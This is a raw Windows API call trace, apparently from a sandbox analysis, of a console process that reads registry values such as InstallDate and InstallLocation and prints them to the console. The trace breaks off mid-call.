GetConsoleOutputCP () returned 0x1b5 [0147.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.541] GetConsoleOutputCP () returned 0x1b5 [0147.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.541] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.541] __iob_func () returned 0x7fefd702a80 [0147.541] _fileno (_File=0x7fefd702ab0) returned 1 [0147.541] _errno () returned 0xc4bb0 [0147.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.541] _errno () returned 0xc4bb0 [0147.541] GetFileType (hFile=0x50) returned 0x1 [0147.541] lstrlenW (lpString=" ") returned 4 [0147.542] GetConsoleOutputCP () returned 0x1b5 [0147.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.542] GetConsoleOutputCP () returned 0x1b5 [0147.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.542] __iob_func () returned 0x7fefd702a80 [0147.542] _fileno (_File=0x7fefd702ab0) returned 1 [0147.542] _errno () returned 0xc4bb0 [0147.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.542] _errno () returned 0xc4bb0 [0147.542] GetFileType (hFile=0x50) returned 0x1 [0147.542] lstrlenW (lpString="REG_SZ") returned 6 [0147.542] GetConsoleOutputCP () returned 0x1b5 [0147.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.542] GetConsoleOutputCP () returned 0x1b5 [0147.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.543] __iob_func () returned 0x7fefd702a80 [0147.543] _fileno (_File=0x7fefd702ab0) returned 1 [0147.543] _errno () returned 0xc4bb0 [0147.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.543] _errno () returned 0xc4bb0 [0147.543] GetFileType (hFile=0x50) returned 0x1 [0147.543] lstrlenW (lpString=" ") returned 4 [0147.543] GetConsoleOutputCP () returned 0x1b5 [0147.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.543] GetConsoleOutputCP () returned 0x1b5 [0147.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.543] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.543] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.543] __iob_func () returned 0x7fefd702a80 [0147.543] _fileno (_File=0x7fefd702ab0) returned 1 [0147.543] _errno () returned 0xc4bb0 [0147.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.543] _errno () returned 0xc4bb0 [0147.543] GetFileType (hFile=0x50) returned 0x1 [0147.543] lstrlenW (lpString="") returned 0 [0147.543] __iob_func () returned 0x7fefd702a80 [0147.543] _fileno (_File=0x7fefd702ab0) returned 1 [0147.543] _errno () returned 0xc4bb0 [0147.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.543] _errno () returned 0xc4bb0 [0147.543] GetFileType (hFile=0x50) returned 0x1 [0147.543] lstrlenW (lpString="\n") returned 1 [0147.543] GetConsoleOutputCP () returned 0x1b5 [0147.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.544] GetConsoleOutputCP () returned 0x1b5 [0147.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.544] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.544] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.544] GetProcessHeap () returned 0x2e0000 [0147.544] GetProcessHeap () returned 0x2e0000 [0147.544] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.544] GetProcessHeap () returned 0x2e0000 [0147.544] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.544] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.544] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.544] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.544] GetProcessHeap () returned 0x2e0000 [0147.544] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.544] GetProcessHeap () returned 0x2e0000 [0147.544] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.544] GetProcessHeap () returned 0x2e0000 [0147.544] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.544] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170927", pcbData=0x23f670*=0x12) returned 0x0 [0147.544] __iob_func () returned 0x7fefd702a80 [0147.544] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.544] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.544] _fileno (_File=0x7fefd702ab0) returned 1 [0147.544] _errno () returned 0xc4bb0 [0147.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.545] _errno () returned 0xc4bb0 [0147.545] GetFileType (hFile=0x50) returned 0x1 [0147.545] lstrlenW (lpString=" ") returned 4 [0147.545] GetConsoleOutputCP () returned 0x1b5 [0147.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.545] GetConsoleOutputCP () returned 0x1b5 [0147.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.545] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.545] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.545] lstrlenW (lpString="InstallDate") returned 11 [0147.545] __iob_func () returned 0x7fefd702a80 [0147.545] _fileno (_File=0x7fefd702ab0) returned 1 [0147.545] _errno () returned 0xc4bb0 [0147.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.545] _errno () returned 0xc4bb0 [0147.545] GetFileType (hFile=0x50) returned 0x1 [0147.545] lstrlenW (lpString="InstallDate") returned 11 [0147.545] GetConsoleOutputCP () returned 0x1b5 [0147.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.545] GetConsoleOutputCP () returned 0x1b5 [0147.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.546] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.546] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.546] __iob_func () returned 0x7fefd702a80 [0147.546] _fileno (_File=0x7fefd702ab0) returned 1 [0147.546] _errno () returned 0xc4bb0 [0147.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.546] _errno () returned 0xc4bb0 [0147.546] GetFileType (hFile=0x50) returned 0x1 [0147.546] lstrlenW (lpString=" ") returned 4 [0147.546] GetConsoleOutputCP () returned 0x1b5 [0147.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.546] GetConsoleOutputCP () returned 0x1b5 [0147.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.546] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.546] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.546] __iob_func () returned 0x7fefd702a80 [0147.546] _fileno (_File=0x7fefd702ab0) returned 1 [0147.546] _errno () returned 0xc4bb0 [0147.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.546] _errno () returned 0xc4bb0 [0147.546] GetFileType (hFile=0x50) returned 0x1 [0147.546] lstrlenW (lpString="REG_SZ") returned 6 [0147.546] GetConsoleOutputCP () returned 0x1b5 [0147.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.547] GetConsoleOutputCP () returned 0x1b5 [0147.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.547] __iob_func () returned 0x7fefd702a80 [0147.547] _fileno (_File=0x7fefd702ab0) returned 1 [0147.547] _errno () returned 0xc4bb0 [0147.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.547] _errno () returned 0xc4bb0 [0147.547] GetFileType (hFile=0x50) returned 0x1 [0147.547] lstrlenW (lpString=" ") returned 4 [0147.547] GetConsoleOutputCP () returned 0x1b5 [0147.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.547] GetConsoleOutputCP () returned 0x1b5 [0147.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.547] __iob_func () returned 0x7fefd702a80 [0147.547] _fileno (_File=0x7fefd702ab0) returned 1 [0147.547] _errno () returned 0xc4bb0 [0147.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.548] _errno () returned 0xc4bb0 [0147.548] GetFileType (hFile=0x50) returned 0x1 [0147.548] lstrlenW (lpString="20170927") returned 8 [0147.548] GetConsoleOutputCP () returned 0x1b5 [0147.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170927", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.548] GetConsoleOutputCP () returned 0x1b5 [0147.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170927", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170927", lpUsedDefaultChar=0x0) returned 8 [0147.548] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.548] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.548] __iob_func () returned 0x7fefd702a80 [0147.548] _fileno (_File=0x7fefd702ab0) returned 1 [0147.548] _errno () returned 0xc4bb0 [0147.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.548] _errno () returned 0xc4bb0 [0147.548] GetFileType (hFile=0x50) returned 0x1 [0147.548] lstrlenW (lpString="\n") returned 1 [0147.548] GetConsoleOutputCP () returned 0x1b5 [0147.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.548] GetConsoleOutputCP () returned 0x1b5 [0147.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.549] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.549] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.549] GetProcessHeap () returned 0x2e0000 [0147.549] GetProcessHeap () returned 0x2e0000 [0147.549] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.549] GetProcessHeap () returned 0x2e0000 [0147.549] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.549] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.549] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.549] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.549] GetProcessHeap () returned 0x2e0000 [0147.549] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.549] GetProcessHeap () returned 0x2e0000 [0147.549] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.549] GetProcessHeap () returned 0x2e0000 [0147.549] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.549] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.549] __iob_func () returned 0x7fefd702a80 [0147.549] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.549] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.549] _fileno (_File=0x7fefd702ab0) returned 1 [0147.549] _errno () returned 0xc4bb0 [0147.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.549] _errno () returned 0xc4bb0 [0147.549] GetFileType (hFile=0x50) returned 0x1 [0147.549] lstrlenW (lpString=" ") returned 4 [0147.549] GetConsoleOutputCP () returned 0x1b5 [0147.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.550] GetConsoleOutputCP () returned 0x1b5 [0147.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.550] lstrlenW (lpString="InstallLocation") returned 15 [0147.550] __iob_func () returned 0x7fefd702a80 [0147.550] _fileno (_File=0x7fefd702ab0) returned 1 [0147.550] _errno () returned 0xc4bb0 [0147.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.550] _errno () returned 0xc4bb0 [0147.550] GetFileType (hFile=0x50) returned 0x1 [0147.550] lstrlenW (lpString="InstallLocation") returned 15 [0147.550] GetConsoleOutputCP () returned 0x1b5 [0147.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.550] GetConsoleOutputCP () returned 0x1b5 [0147.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.550] __iob_func () returned 0x7fefd702a80 [0147.550] _fileno (_File=0x7fefd702ab0) returned 1 [0147.550] _errno () returned 0xc4bb0 [0147.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.550] _errno () returned 0xc4bb0 [0147.551] GetFileType (hFile=0x50) returned 0x1 [0147.551] lstrlenW (lpString=" ") returned 4 [0147.551] GetConsoleOutputCP () returned 0x1b5 [0147.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.551] GetConsoleOutputCP () returned 0x1b5 [0147.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.551] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.551] __iob_func () returned 0x7fefd702a80 [0147.551] _fileno (_File=0x7fefd702ab0) returned 1 [0147.551] _errno () returned 0xc4bb0 [0147.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.551] _errno () returned 0xc4bb0 [0147.551] GetFileType (hFile=0x50) returned 0x1 [0147.551] lstrlenW (lpString="REG_SZ") returned 6 [0147.551] GetConsoleOutputCP () returned 0x1b5 [0147.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.551] GetConsoleOutputCP () returned 0x1b5 [0147.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.552] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.552] __iob_func () returned 0x7fefd702a80 [0147.552] _fileno (_File=0x7fefd702ab0) returned 1 [0147.552] _errno () returned 0xc4bb0 [0147.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.552] _errno () returned 0xc4bb0 [0147.552] GetFileType (hFile=0x50) returned 0x1 [0147.552] lstrlenW (lpString=" ") returned 4 [0147.552] GetConsoleOutputCP () returned 0x1b5 [0147.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.552] GetConsoleOutputCP () returned 0x1b5 [0147.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.552] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.552] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.552] __iob_func () returned 0x7fefd702a80 [0147.552] _fileno (_File=0x7fefd702ab0) returned 1 [0147.552] _errno () returned 0xc4bb0 [0147.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.552] _errno () returned 0xc4bb0 [0147.552] GetFileType (hFile=0x50) returned 0x1 [0147.553] lstrlenW (lpString="") returned 0 [0147.553] __iob_func () returned 0x7fefd702a80 [0147.553] _fileno (_File=0x7fefd702ab0) returned 1 [0147.553] _errno () returned 0xc4bb0 [0147.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.553] _errno () returned 0xc4bb0 [0147.553] GetFileType (hFile=0x50) returned 0x1 [0147.553] lstrlenW (lpString="\n") returned 1 [0147.553] GetConsoleOutputCP () returned 0x1b5 [0147.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.553] GetConsoleOutputCP () returned 0x1b5 [0147.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.553] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.553] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.553] GetProcessHeap () returned 0x2e0000 [0147.553] GetProcessHeap () returned 0x2e0000 [0147.553] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.553] GetProcessHeap () returned 0x2e0000 [0147.553] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.553] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.553] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.553] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.553] GetProcessHeap () returned 0x2e0000 [0147.553] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.553] GetProcessHeap () returned 0x2e0000 [0147.554] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.554] GetProcessHeap () returned 0x2e0000 [0147.554] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.554] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", 